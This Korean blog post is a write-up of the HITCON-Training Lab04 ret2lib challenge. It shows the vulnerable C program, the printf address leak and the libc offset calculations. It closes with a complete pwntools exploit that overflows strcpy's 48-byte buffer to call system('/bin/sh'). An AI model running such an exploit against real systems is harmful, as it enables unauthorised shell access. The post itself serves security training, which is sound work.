혜랑's STORY

[HITCON-Training] Lab04 ret2lib 본문

카테고리 없음

[HITCON-Training] Lab04 ret2lib

hyerang0125 2021. 5. 14. 15:38
  • checksec을 통해 보호기법 확인하기

32bit 파일이고, Partial RELRO와 NX가 적용되어 있다. RET 변조를 통해 문제를 해결할 수 있을 것 같다.

  • ret2lic 코드 살펴보기
#include <stdio.h>

void See_something(unsigned int addr){
	int *address ;
	address = (int *)addr ;
	printf("The content of the address : %p\n",*address);
};

void Print_message(char *mesg){
	char buf[48];
	strcpy(buf,mesg);
	printf("Your message is : %s",buf);
}

int main(){
	char address[10] ;
	char message[256];
	unsigned int addr ;
	puts("###############################");
	puts("Do you know return to library ?");
	puts("###############################");
	puts("What do you want to see in memory?");
	printf("Give me an address (in dec) :");
	fflush(stdout);
	read(0,address,10);
	addr = strtol(address);
	See_something(addr) ;
	printf("Leave some message for me :");
	fflush(stdout);
	read(0,message,256);
	Print_message(message);
	puts("Thanks you ~");
	return 0 ;
}

//main() 함수

저번에 정리했던 Lazenca Return to libc와 비슷한 구조인 것 같다.

  • read() 함수가 정해진 address와 message길이만큼 읽어오기 때문에 overflow가 불가능하다.
  • fflush() 함수는 파일 스트림 버퍼를 비우는 함수이다. 성공시 0을 반환하고, 에러시 EOF를 반환한다.

//See_something() 함수

  • address 변수의 주소를 출력한다. leak에 사용

//Print_message() 함수

  • dest에 src를 복사하는데 이때 buf의 크기(48)보다 mesg의 크기(256)가 작기 때문에 overflow가 발생한다.

풀이

[Break Point]

  • Print_message + 0 : Print_message()의 첫 번째 명령어
  • Print_message + 19 : strcpy() 함수 호출
  • Print_message + 44 : Print_message()의 RET 명령어

프로그램을 실행시키고 아무 숫자나 입력했더니 Segmentation fault가 떴다.

  • leak을 위해 IDA로 printf 주소 알아내기

printf()의 주소는 0x0804a010이다. 이 주소를 10진수로 변환하여 입력해주면 segmentation fault 없이 실행할 수 있을 것 같다.

다시 실행해보자.

다음으로 잘 넘어가는 것을 볼 수 있다. print() 함수의 주소는 **0xf7e4c680**이다.

이제 message의 크기만큼 A를 입력해보자.

Print_message() 함수의 최상위 스택 주소는 0xffffcedc이다. 이 영역에 Return address(0x08048657)가 저장되어 있다.

buf(=dest)의 위치는 0xffffcea0이고, Return address와 60byte 떨어져 있다. 즉, 문자를 60개 이상 입력하면, Return address를 덮어쓸 수 있다.

0xffffcedc의 영역이 바뀌었다.

["/bin/sh" 주소 찾기]

  • 0xf7e4c680(printf function address in libc) - 0xf7e0c000(libc Start Address) = 0x40680(libc Base Address offset)
  • 0xf7e3ddb0(system function address in libc) - 0xf7e0c000(libc Start Address) = 0x31db0(system function Address offset)
  • 0xf7f5eb2b("/bin/sh" string address in libc) - 0xf7e0c000(libc Start Address) = 0x152b2b("/bin/sh" string Address offset)


Exploit

from pwn import *

p = process("./ret2lib")

p.sendlineafter("Give me an address (in dec) :", "134520848")

p.recvuntil("The content of the address : ")
printAddr = p.recvuntil('\n')
printAddr = int(printAddr, 16)

libcBase = printAddr - 0x40680
sysAddr = libcBase + 0x31db0
binsh = libcBase + 0x152b2b
p.recvuntil("Leave some message for me :")

print hex(libcBase)
print hex(sysAddr)
print hex(binsh)

exploit = "A" * 60
exploit += p32(sysAddr)
exploit += 'BBBB'
exploit += p32(binsh)

p.send(exploit)
p.interactive()